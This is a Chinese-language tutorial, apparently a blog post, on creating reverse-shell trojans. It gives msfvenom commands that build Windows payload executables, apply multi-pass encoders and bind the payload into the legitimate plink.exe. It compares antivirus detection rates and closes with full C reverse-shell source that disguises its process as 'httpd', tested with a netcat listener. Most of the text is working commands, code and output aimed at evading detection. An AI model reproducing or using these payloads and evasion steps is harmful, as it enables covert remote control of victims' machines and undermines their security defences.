MSF介绍
Metasploit Framework(简称MSF)是由H.D. Moore于2003年发布的开源安全漏洞检测工具。它提供了一个完整的渗透测试框架,允许用户查找、利用和验证计算机软件中的安全漏洞。
什么是反弹shell
反弹Shell是一种将正常的连接方向反转,由目标机器主动连接攻击者,从而绕过防火墙和NAT限制,让攻击者获得目标机器命令行控制权的技术。
使用MSF生成反弹shell程序
生成
sh
┌──(gillbert㉿kali)-[~]
└─$ msfvenom -p windows/shell/bind_tcp lhost=192.168.122.81 lport=4444 -a x86 --platform win -f exe -o a.exe
No encoder specified, outputting raw payload
Payload size: 326 bytes
Final size of exe file: 73802 bytes
Saved as: a.exe
命令参数说明
lhost
为我们监听在哪个IP地址上,当a.exe运行后会主动向该IP发起连接请求lport
为监听的端口,当a.exe运行后会主动向该端口发起连接请求-a
为生成的文件架构,当前命令中我们指定为x86--platform
为哪个平台生成文件-f
指定生成文件的格式-o
指定生成的文件名称
查看生成结果
执行完成后,可以看到文件目录下多了一个a.exe文件。

查看查杀率
我们可以使用在线查杀网站查看下生成的文件的查杀率


有大于一半的杀毒软件会报警,但是国内的杀毒软件直接显示无检出(害怕)。
使用MSF生成加密的反弹shell
sh
┌──(gillbert㉿kali)-[~]
└─$ msfvenom -p windows/shell/bind_tcp lhost=192.168.122.81 lport=4444 -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw |msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -b '\x00' -f exe -o b.exe
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 353 (iteration=0)
x86/shikata_ga_nai succeeded with size 380 (iteration=1)
x86/shikata_ga_nai succeeded with size 407 (iteration=2)
x86/shikata_ga_nai succeeded with size 434 (iteration=3)
x86/shikata_ga_nai succeeded with size 461 (iteration=4)
x86/shikata_ga_nai chosen with final size 461
Payload size: 461 bytes
Found 1 compatible encoders
Attempting to encode payload with 8 iterations of x86/countdown
x86/countdown succeeded with size 479 (iteration=0)
x86/countdown succeeded with size 497 (iteration=1)
x86/countdown succeeded with size 515 (iteration=2)
x86/countdown succeeded with size 533 (iteration=3)
x86/countdown succeeded with size 551 (iteration=4)
x86/countdown succeeded with size 569 (iteration=5)
x86/countdown succeeded with size 587 (iteration=6)
x86/countdown succeeded with size 605 (iteration=7)
x86/countdown chosen with final size 605
Payload size: 605 bytes
Found 1 compatible encoders
Attempting to encode payload with 9 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 632 (iteration=0)
x86/shikata_ga_nai succeeded with size 659 (iteration=1)
x86/shikata_ga_nai succeeded with size 686 (iteration=2)
x86/shikata_ga_nai succeeded with size 713 (iteration=3)
x86/shikata_ga_nai succeeded with size 740 (iteration=4)
x86/shikata_ga_nai succeeded with size 767 (iteration=5)
x86/shikata_ga_nai succeeded with size 794 (iteration=6)
x86/shikata_ga_nai succeeded with size 821 (iteration=7)
x86/shikata_ga_nai succeeded with size 848 (iteration=8)
x86/shikata_ga_nai chosen with final size 848
Payload size: 848 bytes
Final size of exe file: 73802 bytes
Saved as: b.exe
参数说明
-f
指定文件格式,我们这里指定raw的话为原始格式,方便使用管道接着进行操作-e
指定加密方式, 我们当前指定的加密方式为x86/shikata_ga_nai-i
指定加密的次数,当前指定加密5次-b
是--bad-chars
的缩写,意思是坏字符 。\x00
是空字节 的十六进制表示。在很多程序和函数中,空字节被视为字符串的结束符,如果Shellcode中包含它,可能会导致程序崩溃或Shellcode被截断。这个参数告诉msfvenom
在生成Shellcode时要确保不包含\x00
这个字符,以保证其能正常执行。
使用加密后的程序测试免杀


基本差不多,也是很多软件会检测到,MSF太出名了。
利用模板隐藏shell
将我们要生成的Trojan程序绑定到正常的程序上面,正常的程序我们称之为模板。
sh
┌──(gillbert㉿kali)-[~]
└─$ msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe lhost=192.168.122.81 lport=4444 -a x86 --platform win -f exe -o a_plink.exe
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 837936 bytes
Saved as: a_plink.exe
参数说明
-x
指定模板,这里我们使用了plink程序。Plink 是一个非常著名的 Windows 平台 SSH 客户端软件 PuTTY 的命令行版本。
查看查杀效果


查杀效果好一些。
利用模板基于加密生成shell
sh
┌──(gillbert㉿kali)-[~]
└─$ msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe lhost=192.168.122.81 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 --platform win -f exe -o b_plink.exe
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai succeeded with size 378 (iteration=1)
x86/shikata_ga_nai succeeded with size 405 (iteration=2)
x86/shikata_ga_nai succeeded with size 432 (iteration=3)
x86/shikata_ga_nai succeeded with size 459 (iteration=4)
x86/shikata_ga_nai chosen with final size 459
Payload size: 459 bytes
Final size of exe file: 837936 bytes
Saved as: b_plink.exe
查看查杀效果


效果比不加密好一些
自己写一个程序
c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
// 代码中隐含了上述头文件,这是函数正常运行所必需的。
int main(int argc, char* argv[]) {
struct sockaddr_in sock; // 1. 定义IPv4地址结构体
int s; // 2. 定义套接字描述符
// 3. 检查命令行参数
if(argc != 3) {
fprintf(stderr, "use: <rhost> <rport>\n"); // 如果参数不为3个(程序名+rhost+rport),则提示用法
exit(1); // 并退出程序
}
// 4. 设置要连接的远程服务器地址和端口
sock.sin_family = AF_INET; // 使用IPv4地址族
sock.sin_port = htons(atoi(argv[2])); // 设置端口。atoi将字符串转为整数,htons将主机字节序转为网络字节序
sock.sin_addr.s_addr = inet_addr(argv[1]); // 设置IP地址。inet_addr将点分十进制IP字符串转为网络格式
// 5. 创建套接字
s = socket(AF_INET, SOCK_STREAM, 0); // 创建一个IPv4的TCP流套接字
// 6. 连接到远程服务器
connect(s, (struct sockaddr *)&sock, sizeof(struct sockaddr_in)); // 使用套接字s连接到前面设定的地址和端口
// 7. 【核心步骤】重定向输入/输出/错误
dup2(s, 0); // 将标准输入 (stdin, 文件描述符0) 重定向到套接字s
dup2(s, 1); // 将标准输出 (stdout, 文件描述符1) 重定向到套接字s
dup2(s, 2); // 将标准错误 (stderr, 文件描述符2) 重定向到套接字s
// 8. 【核心步骤】启动一个新程序
execl("/bin/bash", "httpd", (char*)0); // 用/bin/bash程序替换当前进程
}
核心步骤深度解析
1. dup2(s, 0/1/2)
- 输入输出重定向
这是实现反弹Shell的第一个关键点。
- 在Linux/Unix系统中,一切皆文件。标准输入(键盘)、标准输出(屏幕)、标准错误(屏幕)也是文件,它们分别对应文件描述符
0
、1
、2
。 dup2(int oldfd, int newfd)
函数的作用是复制文件描述符。它首先关闭newfd
,然后让newfd
成为oldfd
的一个副本。dup2(s, 0);
:执行后,文件描述符0
(标准输入)不再指向键盘,而是指向了网络连接s
。dup2(s, 1);
:执行后,文件描述符1
(标准输出)不再指向屏幕,而是指向了网络连接s
。dup2(s, 2);
:执行后,文件描述符2
(标准错误)不再指向屏幕,而是指向了网络连接s
。
效果 :从此以后,任何需要从"标准输入"读取数据的操作,都会从网络连接 s
中读取;任何要写入"标准输出/错误"的数据,都会被发送到网络连接 s
的另一端。
2. execl("/bin/bash", "httpd", (char*)0);
- 进程替换
这是实现反弹Shell的第二个关键点。
execl
系列函数用于执行一个新程序。它会替换当前进程的内存映像 。也就是说,当前程序的代码和数据会被/bin/bash
的代码和数据完全覆盖。- 关键特性 :虽然进程的代码被替换了,但该进程的文件描述符表会被完整保留。
- 这意味着,新启动的
/bin/bash
进程会继承由dup2
修改过的文件描述符表。它的标准输入、输出、错误依然全部绑定在套接字s
上。 execl
的第二个参数"httpd"
是一个伪装。它设置了新进程的argv[0]
,即进程名。这样,当管理员在目标机器上用ps
命令查看进程时,看到的可能是一个名为httpd
的进程,试图混淆视听,让它看起来像一个Web服务器。
编译
sh
gcc main.c -o main
测试效果
使用nc先监听一个端口作为攻击者
sh
┌──(gillbert㉿kali)-[~/code]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
被攻击者运行程序连接我们监听的端口
sh
┌──(gillbert㉿kali)-[~/code]
└─$ ./main 127.0.0.1 4444
攻击者可以获取到被攻击者的shell
sh
┌──(gillbert㉿kali)-[~/code]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 32780
ls
main
main.c
免杀测试


自己的程序免杀效果好一些
总结
使用模板可以提高免杀率,但是MSF太出名了,基本安装在电脑上都会被检测到。自己写的程序免杀效果比较好。